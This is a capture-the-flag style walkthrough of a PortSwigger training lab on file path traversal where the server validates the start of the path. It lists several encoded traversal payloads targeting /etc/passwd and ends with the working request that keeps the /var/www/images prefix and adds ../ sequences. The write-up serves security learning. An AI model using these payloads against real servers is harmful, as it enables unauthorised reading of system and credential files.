PortSwiggerlabs: File path traversal, validation of start of path

Scenario :

This lab contains a path traversal vulnerability in the display of product images.

The application transmits the full file path via a request parameter, and validates that the supplied path starts with the expected folder.

To solve the lab, retrieve the contents of the /etc/passwd file.

Solution :

First we navigate the app like a normal user then we check Burp’s History :

We’re mainly interested in these 2 requests , since they both contain parameters we can inject .

To save time , i will assume the ProductID isn’t vulnerable since that was the case with all labs before , and we focus on Filename .

I first injected all these payloads from payload all the things :

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md

As well as the Payloads that worked from earlier Labs :

%252e%252e%252fetc%252fpasswd
%252e%252e%252fetc%252fpasswd%00
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
....//....//....//etc/passwd
..///////..////..//////etc/passwd
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
/etc/passwd
%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

But none of them worked .

We even get a new error message :

"Missing parameter 'filename'"

Looking at the original parameter value , we see that we’re specifying a path where the images are stored .

/var/www/images/22.jpg 
# If we change it to :
/var/www/images/aaa.jpg

We see that we have a new error message saying that the file doesn’t exist .

I m assuming that the server needs to see the /var/www/images path to validate the filename parameter .

What we can do is keep the /var/www/images and from there we try our LFI payload :

I will use the double encoded one :

%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

# So the parameter will be :
?filename=/var/www/images/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

The double encoded one didn’t work -_- .

But when removing the encoding , it worked perfectly :

GET /image?filename=/var/www/images/../../../../etc/passwd

Now if we go back to the lab , it should be solved .

That was all for this lab , see you in the next one :)